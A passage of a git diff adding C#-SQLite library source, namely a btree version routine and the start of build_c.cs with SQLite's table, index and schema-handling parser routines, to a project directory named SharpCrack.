code */ + + Debug.Assert( pBtree.inTrans == TRANS_NONE ); + Debug.Assert( iVersion == 1 || iVersion == 2 ); + + /* If setting the version fields to 1, do not automatically open the + ** WAL connection, even if the version fields are currently set to 2. + */ + pBt.doNotUseWAL = iVersion == 1; + + rc = sqlite3BtreeBeginTrans( pBtree, 0 ); + if ( rc == SQLITE_OK ) + { + u8[] aData = pBt.pPage1.aData; + if ( aData[18] != (u8)iVersion || aData[19] != (u8)iVersion ) + { + rc = sqlite3BtreeBeginTrans( pBtree, 2 ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerWrite( pBt.pPage1.pDbPage ); + if ( rc == SQLITE_OK ) + { + aData[18] = (u8)iVersion; + aData[19] = (u8)iVersion; + } + } + } + } + + pBt.doNotUseWAL = false; + return rc; +} + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/build_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/build_c.cs new file mode 100644 index 0000000..a4d1f6c --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/build_c.cs @@ -0,0 +1,4423 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +/* +** The yDbMask datatype for the bitmask of all attached databases. +*/ +#if SQLITE_MAX_ATTACHED//>30 +// typedef sqlite3_uint64 yDbMask; +using yDbMask = System.Int64; +#else +// typedef unsigned int yDbMask; +using yDbMask = System.Int32; +#endif + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the SQLite parser + ** when syntax rules are reduced. The routines in this file handle the + ** following kinds of SQL syntax: + ** + ** CREATE TABLE + ** DROP TABLE + ** CREATE INDEX + ** DROP INDEX + ** creating ID lists + ** BEGIN TRANSACTION + ** COMMIT + ** ROLLBACK + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** This routine is called when a new SQL statement is beginning to + ** be parsed. Initialize the pParse structure as needed. + */ + static void sqlite3BeginParse( Parse pParse, int explainFlag ) + { + pParse.explain = (byte)explainFlag; + pParse.nVar = 0; + } + +//#if !SQLITE_OMIT_SHARED_CACHE +#if NO_SQLITE_OMIT_SHARED_CACHE +/* +** The TableLock structure is only used by the sqlite3TableLock() and +** codeTableLocks() functions. +*/ +//struct TableLock { +// int iDb; /* The database containing the table to be locked */ +// int iTab; /* The root page of the table to be locked */ +// u8 isWriteLock; /* True for write lock. False for a read lock */ +// string zName; /* Name of the table */ +//}; + +public class TableLock +{ +public int iDb; /* The database containing the table to be locked */ +public int iTab; /* The root page of the table to be locked */ +public u8 isWriteLock; /* True for write lock. False for a read lock */ +public string zName; /* Name of the table */ +} +/* +** Record the fact that we want to lock a table at run-time. +** +** The table to be locked has root page iTab and is found in database iDb. +** A read or a write lock can be taken depending on isWritelock. +** +** This routine just records the fact that the lock is desired. The +** code to make the lock occur is generated by a later call to +** codeTableLocks() which occurs during sqlite3FinishCoding(). +*/ +void sqlite3TableLock( + Parse *pParse, /* Parsing context */ + int iDb, /* Index of the database containing the table to lock */ + int iTab, /* Root page number of the table to be locked */ + u8 isWriteLock, /* True for a write lock */ + string zName /* Name of the table to be locked */ +){ + Parse *pToplevel = sqlite3ParseToplevel(pParse); + int i; + int nBytes; + TableLock *p; + Debug.Assert( iDb>=0 ); + + for(i=0; inTableLock; i++){ + p = pToplevel->aTableLock[i]; + if( p->iDb==iDb && p->iTab==iTab ){ + p->isWriteLock = (p->isWriteLock || isWriteLock); + return; + } + } + + nBytes = sizeof(vtableLock) * (pToplevel->nTableLock+1); + pToplevel->aTableLock = + sqlite3DbReallocOrFree(pToplevel->db, pToplevel->aTableLock, nBytes); + if( pToplevel->aTableLock ){ + p = pToplevel->aTableLock[pToplevel->nTableLock++]; + p->iDb = iDb; + p->iTab = iTab; + p->isWriteLock = isWriteLock; + p->zName = zName; + }else{ + pToplevel->nTableLock = 0; + pToplevel->db->mallocFailed = 1; + } +} + +/* +** Code an OP_TableLock instruction for each table locked by the +** statement (configured by calls to sqlite3TableLock()). +*/ +static void codeTableLocks( Parse pParse ) +{ +int i; +Vdbe pVdbe; + +pVdbe = sqlite3GetVdbe( pParse ); +Debug.Assert( pVdbe != null ); /* sqlite3GetVdbe cannot fail: VDBE already allocated */ + +for ( i = 0 ; i < pParse.nTableLock ; i++ ) +{ +TableLock p = pParse.aTableLock[i]; +int p1 = p.iDb; +sqlite3VdbeAddOp4( pVdbe, OP_TableLock, p1, p.iTab, p.isWriteLock, +p.zName, P4_STATIC ); +} +} +#else + // #define codeTableLocks(x) + static void codeTableLocks( Parse pParse ) + { + } +#endif + + /* +** This routine is called after a single SQL statement has been +** parsed and a VDBE program to execute that statement has been +** prepared. This routine puts the finishing touches on the +** VDBE program and resets the pParse structure for the next +** parse. +** +** Note that if an error occurred, it might be the case that +** no VDBE code was generated. +*/ + static void sqlite3FinishCoding( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + db = pParse.db; + // if ( db.mallocFailed != 0 ) return; + if ( pParse.nested != 0 ) + return; + if ( pParse.nErr != 0 ) + return; + + /* Begin by generating some termination code at the end of the + ** vdbe program + */ + v = sqlite3GetVdbe( pParse ); +// Debug.Assert( 0 == pParse.isMultiWrite +//#if SQLITE_DEBUG +// || sqlite3VdbeAssertMayAbort( v, pParse.mayAbort ) != 0 +//#endif +// ); + if ( v != null ) + { + sqlite3VdbeAddOp0( v, OP_Halt ); + + /* The cookie mask contains one bit for each database file open. + ** (Bit 0 is for main, bit 1 is for temp, and so forth.) Bits are + ** set for each database that is used. Generate code to start a + ** transaction on each used database and to verify the schema cookie + ** on each used database. + */ + if ( pParse.cookieGoto > 0 ) + { + u32 mask; + int iDb; + sqlite3VdbeJumpHere( v, pParse.cookieGoto - 1 ); + for ( iDb = 0, mask = 1; iDb < db.nDb; mask <<= 1, iDb++ ) + { + if ( ( mask & pParse.cookieMask ) == 0 ) + continue; + sqlite3VdbeUsesBtree( v, iDb ); + sqlite3VdbeAddOp2( v, OP_Transaction, iDb, ( mask & pParse.writeMask ) != 0 ); + if ( db.init.busy == 0 ) + { + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + sqlite3VdbeAddOp3( v, OP_VerifyCookie, + iDb, pParse.cookieValue[iDb], + (int)db.aDb[iDb].pSchema.iGeneration ); + } + } +#if !SQLITE_OMIT_VIRTUALTABLE + { + int i; + for ( i = 0; i < pParse.nVtabLock; i++ ) + { + VTable vtab = sqlite3GetVTable( db, pParse.apVtabLock[i] ); + sqlite3VdbeAddOp4( v, OP_VBegin, 0, 0, 0, vtab, P4_VTAB ); + } + pParse.nVtabLock = 0; + } +#endif + + /* Once all the cookies have been verified and transactions opened, +** obtain the required table-locks. This is a no-op unless the +** shared-cache feature is enabled. +*/ + codeTableLocks( pParse ); + + /* Initialize any AUTOINCREMENT data structures required. + */ + sqlite3AutoincrementBegin( pParse ); + + /* Finally, jump back to the beginning of the executable code. */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, pParse.cookieGoto ); + } + } + + + /* Get the VDBE program ready for execution + */ + if ( v != null && ALWAYS( pParse.nErr == 0 ) /* && 0 == db.mallocFailed */ ) + { +#if SQLITE_DEBUG + TextWriter trace = ( db.flags & SQLITE_VdbeTrace ) != 0 ? Console.Out : null; + sqlite3VdbeTrace( v, trace ); +#endif + Debug.Assert( pParse.iCacheLevel == 0 ); /* Disables and re-enables match */ + /* A minimum of one cursor is required if autoincrement is used + * See ticket [a696379c1f08866] */ + if ( pParse.pAinc != null && pParse.nTab == 0 ) + pParse.nTab = 1; + sqlite3VdbeMakeReady( v, pParse); + pParse.rc = SQLITE_DONE; + pParse.colNamesSet = 0; + } + else + { + pParse.rc = SQLITE_ERROR; + } + pParse.nTab = 0; + pParse.nMem = 0; + pParse.nSet = 0; + pParse.nVar = 0; + pParse.cookieMask = 0; + pParse.cookieGoto = 0; + } + + /* + ** Run the parser and code generator recursively in order to generate + ** code for the SQL statement given onto the end of the pParse context + ** currently under construction. When the parser is run recursively + ** this way, the final OP_Halt is not appended and other initialization + ** and finalization steps are omitted because those are handling by the + ** outermost parser. + ** + ** Not everything is nestable. This facility is designed to permit + ** INSERT, UPDATE, and DELETE operations against SQLITE_MASTER. Use + ** care if you decide to try to use this routine for some other purposes. + */ + static void sqlite3NestedParse( Parse pParse, string zFormat, params object[] ap ) + { + string zSql; // string zSql; + string zErrMsg = "";// char* zErrMsg = 0; + sqlite3 db = pParse.db; + + //# define SAVE_SZ (Parse.Length - offsetof(Parse,nVar)) + // char saveBuf[SAVE_SZ]; + + if ( pParse.nErr != 0 ) + return; + Debug.Assert( pParse.nested < 10 ); /* Nesting should only be of limited depth */ + // va_list ap; + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + zSql = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ref ap ); + } + //if( zSql=="" ){ + // return; /* A malloc must have failed */ + //} + lock ( nestingLock ) + { + pParse.nested++; + pParse.SaveMembers(); // memcpy(saveBuf, pParse.nVar, SAVE_SZ); + pParse.ResetMembers(); // memset(pParse.nVar, 0, SAVE_SZ); + sqlite3RunParser( pParse, zSql, ref zErrMsg ); + sqlite3DbFree( db, ref zErrMsg ); + sqlite3DbFree( db, ref zSql ); + pParse.RestoreMembers(); // memcpy(pParse.nVar, saveBuf, SAVE_SZ); + pParse.nested--; + } + } + static Object nestingLock = new Object(); + + /* + ** Locate the in-memory structure that describes a particular database + ** table given the name of that table and (optionally) the name of the + ** database containing the table. Return NULL if not found. + ** + ** If zDatabase is 0, all databases are searched for the table and the + ** first matching table is returned. (No checking for duplicate table + ** names is done.) The search order is TEMP first, then MAIN, then any + ** auxiliary databases added using the ATTACH command. + ** + ** See also sqlite3LocateTable(). + */ + static Table sqlite3FindTable( sqlite3 db, string zName, string zDatabase ) + { + Table p = null; + int i; + int nName; + Debug.Assert( zName != null ); + nName = sqlite3Strlen30( zName ); + /* All mutexes are required for schema access. Make sure we hold them. */ + Debug.Assert( zDatabase != null || sqlite3BtreeHoldsAllMutexes( db ) ); + for ( i = OMIT_TEMPDB; i < db.nDb; i++ ) + { + int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ + if ( zDatabase != null && !zDatabase.Equals( db.aDb[j].zName, StringComparison.InvariantCultureIgnoreCase ) ) + continue; + Debug.Assert( sqlite3SchemaMutexHeld( db, j, null ) ); + p = sqlite3HashFind( db.aDb[j].pSchema.tblHash, zName, nName, (Table)null ); + if ( p != null ) + break; + } + return p; + } + + /* + ** Locate the in-memory structure that describes a particular database + ** table given the name of that table and (optionally) the name of the + ** database containing the table. Return NULL if not found. Also leave an + ** error message in pParse.zErrMsg. + ** + ** The difference between this routine and sqlite3FindTable() is that this + ** routine leaves an error message in pParse.zErrMsg where + ** sqlite3FindTable() does not. + */ + static Table sqlite3LocateTable( + Parse pParse, /* context in which to report errors */ + int isView, /* True if looking for a VIEW rather than a TABLE */ + string zName, /* Name of the table we are looking for */ + string zDbase /* Name of the database. Might be NULL */ + ) + { + Table p; + + /* Read the database schema. If an error occurs, leave an error message + ** and code in pParse and return NULL. */ + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + return null; + } + + p = sqlite3FindTable( pParse.db, zName, zDbase ); + if ( p == null ) + { + string zMsg = isView != 0 ? "no such view" : "no such table"; + if ( zDbase != null ) + { + sqlite3ErrorMsg( pParse, "%s: %s.%s", zMsg, zDbase, zName ); + } + else + { + sqlite3ErrorMsg( pParse, "%s: %s", zMsg, zName ); + } + pParse.checkSchema = 1; + } + return p; + } + + /* + ** Locate the in-memory structure that describes + ** a particular index given the name of that index + ** and the name of the database that contains the index. + ** Return NULL if not found. + ** + ** If zDatabase is 0, all databases are searched for the + ** table and the first matching index is returned. (No checking + ** for duplicate index names is done.) The search order is + ** TEMP first, then MAIN, then any auxiliary databases added + ** using the ATTACH command. + */ + static Index sqlite3FindIndex( sqlite3 db, string zName, string zDb ) + { + Index p = null; + int i; + int nName = sqlite3Strlen30( zName ); + /* All mutexes are required for schema access. Make sure we hold them. */ + Debug.Assert( zDb != null || sqlite3BtreeHoldsAllMutexes( db ) ); + for ( i = OMIT_TEMPDB; i < db.nDb; i++ ) + { + int j = ( i < 2 ) ? i ^ 1 : i; /* Search TEMP before MAIN */ + Schema pSchema = db.aDb[j].pSchema; + Debug.Assert( pSchema != null ); + if ( zDb != null && !zDb.Equals( db.aDb[j].zName, StringComparison.InvariantCultureIgnoreCase ) ) + continue; + Debug.Assert( sqlite3SchemaMutexHeld( db, j, null ) ); + p = sqlite3HashFind( pSchema.idxHash, zName, nName, (Index)null ); + if ( p != null ) + break; + } + return p; + } + + /* + ** Reclaim the memory used by an index + */ + static void freeIndex( sqlite3 db, ref Index p ) + { +#if !SQLITE_OMIT_ANALYZE + sqlite3DeleteIndexSamples( db, p ); +#endif + sqlite3DbFree( db, ref p.zColAff ); + sqlite3DbFree( db, ref p ); + } + + /* + ** For the index called zIdxName which is found in the database iDb, + ** unlike that index from its Table then remove the index from + ** the index hash table and free all memory structures associated + ** with the index. + */ + static void sqlite3UnlinkAndDeleteIndex( sqlite3 db, int iDb, string zIdxName ) + { + Index pIndex; + int len; + Hash pHash; + + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pHash = db.aDb[iDb].pSchema.idxHash; + + len = sqlite3Strlen30( zIdxName ); + pIndex = sqlite3HashInsert( ref pHash, zIdxName, len, (Index)null ); + if ( ALWAYS(pIndex) ) + { + if ( pIndex.pTable.pIndex == pIndex ) + { + pIndex.pTable.pIndex = pIndex.pNext; + } + else + { + Index p; + /* Justification of ALWAYS(); The index must be on the list of + ** indices. */ + p = pIndex.pTable.pIndex; + while ( ALWAYS( p != null ) && p.pNext != pIndex ) + { + p = p.pNext; + } + if ( ALWAYS( p != null && p.pNext == pIndex ) ) + { + p.pNext = pIndex.pNext; + } + } + freeIndex( db, ref pIndex ); + } + db.flags |= SQLITE_InternChanges; + } + + /* + ** Erase all schema information from the in-memory hash tables of + ** a single database. This routine is called to reclaim memory + ** before the database closes. It is also called during a rollback + ** if there were schema changes during the transaction or if a + ** schema-cookie mismatch occurs. + ** + ** If iDb<0 then reset the internal schema tables for all database + ** files. If iDb>=0 then reset the internal schema for only the + ** single file indicated. + */ + static void sqlite3ResetInternalSchema( sqlite3 db, int iDb ) + { + int i, j; + Debug.Assert( iDb < db.nDb ); + + if ( iDb >= 0 ) + { + /* Case 1: Reset the single schema identified by iDb */ + Db pDb = db.aDb[iDb]; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + Debug.Assert( pDb.pSchema != null); + sqlite3SchemaClear( pDb.pSchema ); + + /* If any database other than TEMP is reset, then also reset TEMP + ** since TEMP might be holding triggers that reference tables in the + ** other database. + */ + if ( iDb != 1 ) + { + pDb = db.aDb[1]; + Debug.Assert( pDb.pSchema != null ); + sqlite3SchemaClear( pDb.pSchema ); + } + return; + } + /* Case 2 (from here to the end): Reset all schemas for all attached + ** databases. */ + Debug.Assert( iDb < 0 ); + sqlite3BtreeEnterAll( db ); + for ( i = 0; i < db.nDb; i++ ) + { + Db pDb = db.aDb[i]; + if ( pDb.pSchema != null ) + { + sqlite3SchemaClear( pDb.pSchema ); + } + } + db.flags &= ~SQLITE_InternChanges; + sqlite3VtabUnlockList( db ); + sqlite3BtreeLeaveAll( db ); + /* If one or more of the auxiliary database files has been closed, + ** then remove them from the auxiliary database list. We take the + ** opportunity to do this here since we have just deleted all of the + ** schema hash tables and therefore do not have to make any changes + ** to any of those tables. + */ + for ( i = j = 2; i < db.nDb; i++ ) + { + Db pDb = db.aDb[i]; + if ( pDb.pBt == null ) + { + sqlite3DbFree( db, ref pDb.zName ); + continue; + } + if ( j < i ) + { + db.aDb[j] = db.aDb[i]; + } + j++; + } + if ( db.nDb != j ) + db.aDb[j] = new Db();//memset(db.aDb[j], 0, (db.nDb-j)*sizeof(db.aDb[j])); + db.nDb = j; + if ( db.nDb <= 2 && db.aDb != db.aDbStatic ) + { + Array.Copy( db.aDb, db.aDbStatic, 2 );// memcpy(db.aDbStatic, db.aDb, 2*sizeof(db.aDb[0])); + //sqlite3DbFree( db, ref db.aDb ); + //db.aDb = db.aDbStatic; + } + } + + /* + ** This routine is called when a commit occurs. + */ + static void sqlite3CommitInternalChanges( sqlite3 db ) + { + db.flags &= ~SQLITE_InternChanges; + } + + /* + ** Delete memory allocated for the column names of a table or view (the + ** Table.aCol[] array). + */ + static void sqliteDeleteColumnNames( sqlite3 db, Table pTable ) + { + int i; + Column pCol; + Debug.Assert( pTable != null ); + for ( i = 0; i < pTable.nCol; i++ ) + { + pCol = pTable.aCol[i]; + if ( pCol != null ) + { + sqlite3DbFree( db, ref pCol.zName ); + sqlite3ExprDelete( db, ref pCol.pDflt ); + sqlite3DbFree( db, ref pCol.zDflt ); + sqlite3DbFree( db, ref pCol.zType ); + sqlite3DbFree( db, ref pCol.zColl ); + } + } + } + + /* + ** Remove the memory data structures associated with the given + ** Table. No changes are made to disk by this routine. + ** + ** This routine just deletes the data structure. It does not unlink + ** the table data structure from the hash table. But it does destroy + ** memory structures of the indices and foreign keys associated with + ** the table. + */ + static void sqlite3DeleteTable( sqlite3 db, ref Table pTable ) + { + Index pIndex; + Index pNext; + + Debug.Assert( null == pTable || pTable.nRef > 0 ); + + /* Do not delete the table until the reference count reaches zero. */ + if ( null == pTable ) + return; + if ( (// ( !db || db->pnBytesFreed == 0 ) && + ( --pTable.nRef ) > 0 ) ) + return; + + /* Delete all indices associated with this table. */ + for ( pIndex = pTable.pIndex; pIndex != null; pIndex = pNext ) + { + pNext = pIndex.pNext; + Debug.Assert( pIndex.pSchema == pTable.pSchema ); + //if( null==db || db.pnBytesFreed==0 ){ + string zName = pIndex.zName; + // +#if !NDEBUG || SQLITE_COVERAGE_TEST + // TESTONLY ( Index pOld = ) sqlite3HashInsert( + //ref pIndex.pSchema.idxHash, zName, sqlite3Strlen30(zName), 0 + // ); + Index pOld = sqlite3HashInsert( + ref pIndex.pSchema.idxHash, zName, sqlite3Strlen30( zName ), (Index)null + ); + Debug.Assert( db == null || sqlite3SchemaMutexHeld( db, 0, pIndex.pSchema ) ); + Debug.Assert( pOld == pIndex || pOld == null ); +#else + // TESTONLY ( Index pOld = ) sqlite3HashInsert( + //ref pIndex.pSchema.idxHash, zName, sqlite3Strlen30(zName), 0 + // ); + sqlite3HashInsert( + ref pIndex.pSchema.idxHash, zName, sqlite3Strlen30(zName),(Index)null + ); +#endif + //} + freeIndex( db, ref pIndex ); + } + + /* Delete any foreign keys attached to this table. */ + sqlite3FkDelete( db, pTable ); + + /* Delete the Table structure itself. +*/ + sqliteDeleteColumnNames( db, pTable ); + sqlite3DbFree( db, ref pTable.zName ); + sqlite3DbFree( db, ref pTable.zColAff ); + sqlite3SelectDelete( db, ref pTable.pSelect ); +#if !SQLITE_OMIT_CHECK + sqlite3ExprDelete( db, ref pTable.pCheck ); +#endif +#if !SQLITE_OMIT_VIRTUALTABLE + sqlite3VtabClear(db, pTable); +#endif + pTable = null;// sqlite3DbFree( db, ref pTable ); + } + + /* + ** Unlink the given table from the hash tables and the delete the + ** table structure with all its indices and foreign keys. + */ + static void sqlite3UnlinkAndDeleteTable( sqlite3 db, int iDb, string zTabName ) + { + Table p; + Db pDb; + + Debug.Assert( db != null ); + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + Debug.Assert( zTabName != null ); + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + testcase( zTabName.Length == 0 ); /* Zero-length table names are allowed */ + pDb = db.aDb[iDb]; + p = sqlite3HashInsert( ref pDb.pSchema.tblHash, zTabName, + sqlite3Strlen30( zTabName ), (Table)null ); + sqlite3DeleteTable( db, ref p ); + db.flags |= SQLITE_InternChanges; + } + + /* + ** Given a token, return a string that consists of the text of that + ** token. Space to hold the returned string + ** is obtained from sqliteMalloc() and must be freed by the calling + ** function. + ** + ** Any quotation marks (ex: "name", 'name', [name], or `name`) that + ** surround the body of the token are removed. + ** + ** Tokens are often just pointers into the original SQL text and so + ** are not \000 terminated and are not persistent. The returned string + ** is \000 terminated and is persistent. + */ + static string sqlite3NameFromToken( sqlite3 db, Token pName ) + { + string zName; + if ( pName != null && pName.z != null ) + { + zName = pName.z.Substring( 0, pName.n );//sqlite3DbStrNDup(db, (char)pName.z, pName.n); + sqlite3Dequote( ref zName ); + } + else + { + return null; + } + return zName; + } + + /* + ** Open the sqlite_master table stored in database number iDb for + ** writing. The table is opened using cursor 0. + */ + static void sqlite3OpenMasterTable( Parse p, int iDb ) + { + Vdbe v = sqlite3GetVdbe( p ); + sqlite3TableLock( p, iDb, MASTER_ROOT, 1, SCHEMA_TABLE( iDb ) ); + sqlite3VdbeAddOp3( v, OP_OpenWrite, 0, MASTER_ROOT, iDb ); + sqlite3VdbeChangeP4( v, -1, (int)5, P4_INT32 ); /* 5 column table */ + if ( p.nTab == 0 ) + { + p.nTab = 1; + } + } + + /* + ** Parameter zName points to a nul-terminated buffer containing the name + ** of a database ("main", "temp" or the name of an attached db). This + ** function returns the index of the named database in db->aDb[], or + ** -1 if the named db cannot be found. + */ + static int sqlite3FindDbName( sqlite3 db, string zName ) + { + int i = -1; /* Database number */ + if ( zName != null ) + { + Db pDb; + int n = sqlite3Strlen30( zName ); + for ( i = ( db.nDb - 1 ); i >= 0; i-- ) + { + pDb = db.aDb[i]; + if ( ( OMIT_TEMPDB == 0 || i != 1 ) && n == sqlite3Strlen30( pDb.zName ) && + pDb.zName.Equals( zName, StringComparison.InvariantCultureIgnoreCase ) ) + { + break; + } + } + } + return i; + } + + /* + ** The token *pName contains the name of a database (either "main" or + ** "temp" or the name of an attached db). This routine returns the + ** index of the named database in db->aDb[], or -1 if the named db + ** does not exist. + */ + static int sqlite3FindDb( sqlite3 db, Token pName ) + { + int i; /* Database number */ + string zName; /* Name we are searching for */ + zName = sqlite3NameFromToken( db, pName ); + i = sqlite3FindDbName( db, zName ); + sqlite3DbFree( db, ref zName ); + return i; + } + + /* The table or view or trigger name is passed to this routine via tokens + ** pName1 and pName2. If the table name was fully qualified, for example: + ** + ** CREATE TABLE xxx.yyy (...); + ** + ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if + ** the table name is not fully qualified, i.e.: + ** + ** CREATE TABLE yyy(...); + ** + ** Then pName1 is set to "yyy" and pName2 is "". + ** + ** This routine sets the ppUnqual pointer to point at the token (pName1 or + ** pName2) that stores the unqualified table name. The index of the + ** database "xxx" is returned. + */ + static int sqlite3TwoPartName( + Parse pParse, /* Parsing and code generating context */ + Token pName1, /* The "xxx" in the name "xxx.yyy" or "xxx" */ + Token pName2, /* The "yyy" in the name "xxx.yyy" */ + ref Token pUnqual /* Write the unqualified object name here */ + ) + { + int iDb; /* Database holding the object */ + sqlite3 db = pParse.db; + + if ( ALWAYS( pName2 != null ) && pName2.n > 0 ) + { + if ( db.init.busy != 0 ) + { + sqlite3ErrorMsg( pParse, "corrupt database" ); + pParse.nErr++; + return -1; + } + pUnqual = pName2; + iDb = sqlite3FindDb( db, pName1 ); + if ( iDb < 0 ) + { + sqlite3ErrorMsg( pParse, "unknown database %T", pName1 ); + pParse.nErr++; + return -1; + } + } + else + { + Debug.Assert( db.init.iDb == 0 || db.init.busy != 0 ); + iDb = db.init.iDb; + pUnqual = pName1; + } + return iDb; + } + + /* + ** This routine is used to check if the UTF-8 string zName is a legal + ** unqualified name for a new schema object (vtable, index, view or + ** trigger). All names are legal except those that begin with the string + ** "sqlite_" (in upper, lower or mixed case). This portion of the namespace + ** is reserved for internal use. + */ + static int sqlite3CheckObjectName( Parse pParse, string zName ) + { + if ( 0 == pParse.db.init.busy && pParse.nested == 0 + && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 + && zName.StartsWith( "sqlite_", System.StringComparison.InvariantCultureIgnoreCase ) ) + { + sqlite3ErrorMsg( pParse, "object name reserved for internal use: %s", zName ); + return SQLITE_ERROR; + } + return SQLITE_OK; + } + + /* + ** Begin constructing a new table representation in memory. This is + ** the first of several action routines that get called in response + ** to a CREATE TABLE statement. In particular, this routine is called + ** after seeing tokens "CREATE" and "TABLE" and the table name. The isTemp + ** flag is true if the table should be stored in the auxiliary database + ** file instead of in the main database file. This is normally the case + ** when the "TEMP" or "TEMPORARY" keyword occurs in between + ** CREATE and TABLE. + ** + ** The new table record is initialized and put in pParse.pNewTable. + ** As more of the CREATE TABLE statement is parsed, additional action + ** routines will be called to add more information to this record. + ** At the end of the CREATE TABLE statement, the sqlite3EndTable() routine + ** is called to complete the construction of the new table record. + */ + static void sqlite3StartTable( + Parse pParse, /* Parser context */ + Token pName1, /* First part of the name of the table or view */ + Token pName2, /* Second part of the name of the table or view */ + int isTemp, /* True if this is a TEMP table */ + int isView, /* True if this is a VIEW */ + int isVirtual, /* True if this is a VIRTUAL table */ + int noErr /* Do nothing if table already exists */ + ) + { + Table pTable; + string zName = null; /* The name of the new table */ + sqlite3 db = pParse.db; + Vdbe v; + int iDb; /* Database number to create the table in */ + Token pName = new Token(); /* Unqualified name of the table to create */ + + /* The table or view name to create is passed to this routine via tokens + ** pName1 and pName2. If the table name was fully qualified, for example: + ** + ** CREATE TABLE xxx.yyy (...); + ** + ** Then pName1 is set to "xxx" and pName2 "yyy". On the other hand if + ** the table name is not fully qualified, i.e.: + ** + ** CREATE TABLE yyy(...); + ** + ** Then pName1 is set to "yyy" and pName2 is "". + ** + ** The call below sets the pName pointer to point at the token (pName1 or + ** pName2) that stores the unqualified table name. The variable iDb is + ** set to the index of the database that the table or view is to be + ** created in. + */ + iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + if ( iDb < 0 ) + return; + if ( 0 == OMIT_TEMPDB && isTemp != 0 && pName2.n > 0 && iDb != 1 ) + { + /* If creating a temp table, the name may not be qualified. Unless + ** the database name is "temp" anyway. */ + + sqlite3ErrorMsg( pParse, "temporary table name must be unqualified" ); + return; + } + if ( OMIT_TEMPDB == 0 && isTemp != 0 ) + iDb = 1; + + pParse.sNameToken = pName; + zName = sqlite3NameFromToken( db, pName ); + if ( zName == null ) + return; + if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) + { + goto begin_table_error; + } + if ( db.init.iDb == 1 ) + isTemp = 1; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +Debug.Assert( (isTemp & 1)==isTemp ); +{ +int code; +string zDb = db.aDb[iDb].zName; +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(isTemp), 0, zDb) ){ +goto begin_table_error; +} +if( isView ){ +if( OMIT_TEMPDB ==0&& isTemp ){ +code = SQLITE_CREATE_TEMP_VIEW; +}else{ +code = SQLITE_CREATE_VIEW; +} +}else{ +if( OMIT_TEMPDB ==0&& isTemp ){ +code = SQLITE_CREATE_TEMP_TABLE; +}else{ +code = SQLITE_CREATE_TABLE; +} +} +if( null==isVirtual && sqlite3AuthCheck(pParse, code, zName, 0, zDb) ){ +goto begin_table_error; +} +} +#endif + + /* Make sure the new table name does not collide with an existing +** index or table name in the same database. Issue an error message if +** it does. The exception is if the statement being parsed was passed +** to an sqlite3_declare_vtab() call. In that case only the column names +** and types will be used, so there is no need to test for namespace +** collisions. +*/ + if ( !IN_DECLARE_VTAB( pParse ) ) + { + String zDb = db.aDb[iDb].zName; + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto begin_table_error; + } + pTable = sqlite3FindTable( db, zName, zDb ); + if ( pTable != null ) + { + if ( noErr == 0 ) + { + sqlite3ErrorMsg( pParse, "table %T already exists", pName ); + } + else + { + Debug.Assert( 0 == db.init.busy ); + sqlite3CodeVerifySchema( pParse, iDb ); + } + goto begin_table_error; + } + if ( sqlite3FindIndex( db, zName, zDb ) != null ) + { + sqlite3ErrorMsg( pParse, "there is already an index named %s", zName ); + goto begin_table_error; + } + } + + pTable = new Table();// sqlite3DbMallocZero(db, Table).Length; + //if ( pTable == null ) + //{ + // db.mallocFailed = 1; + // pParse.rc = SQLITE_NOMEM; + // pParse.nErr++; + // goto begin_table_error; + //} + pTable.zName = zName; + pTable.iPKey = -1; + pTable.pSchema = db.aDb[iDb].pSchema; + pTable.nRef = 1; + pTable.nRowEst = 1000000; + Debug.Assert( pParse.pNewTable == null ); + pParse.pNewTable = pTable; + + /* If this is the magic sqlite_sequence table used by autoincrement, + ** then record a pointer to this table in the main database structure + ** so that INSERT can find the table easily. + */ +#if !SQLITE_OMIT_AUTOINCREMENT + if ( pParse.nested == 0 && zName == "sqlite_sequence" ) + { + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pTable.pSchema.pSeqTab = pTable; + } +#endif + + /* Begin generating the code that will insert the table record into +** the SQLITE_MASTER table. Note in particular that we must go ahead +** and allocate the record number for the table entry now. Before any +** PRIMARY KEY or UNIQUE keywords are parsed. Those keywords will cause +** indices to be created and the table record must come before the +** indices. Hence, the record number for the table must be allocated +** now. +*/ + if ( 0 == db.init.busy && ( v = sqlite3GetVdbe( pParse ) ) != null ) + { + int j1; + int 